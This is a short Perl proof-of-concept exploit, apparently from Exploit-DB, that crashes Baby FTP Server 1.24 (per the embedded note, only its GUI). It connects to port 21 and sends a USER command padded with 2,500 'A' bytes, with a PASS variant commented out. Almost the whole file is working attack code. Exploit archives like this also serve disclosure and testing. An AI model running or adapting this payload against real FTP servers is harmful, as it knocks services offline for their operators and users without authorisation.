#!/usr/bin/perl## Note from Exploit-DB (thanks @wireghoul): This PoC only crashes the GUI for the application, # not the server itself.###################################################################### Exploit Title: Baby FTP Server Version 1.24 Denial Of Service# Date: 2013/6/25# Exploit Author: Chako# Vendor Homepage: http://www.pablosoftwaresolutions.com/html/baby_ftp_server.html# Software Download Link: http://www.pablosoftwaresolutions.com/files/babyftp.zip# Version: 1.24# Tested on: Windows 7# Description:# A bug discoveredin Baby FTP Server Version 1.24 allows an attacker# to cause a Denial of Service using a specially crafted request(USER, PASS...etc).####################################################################
use IO::Socket;$TARGET = "127.0.0.1";$PORT = 21;$JUNK = "\x41" x 2500;$PAYLOAD = "USER ".$JUNK."\r\n";#$PAYLOAD = "PASS ".$JUNK."\r\n";$SOCKET = IO::Socket::INET->new(Proto=>'TCP',
PeerHost=>$TARGET,
PeerPort=>$PORT) or die "Error: $TARGET :$PORT\n";$SOCKET->send($PAYLOAD);
close($SOCKET);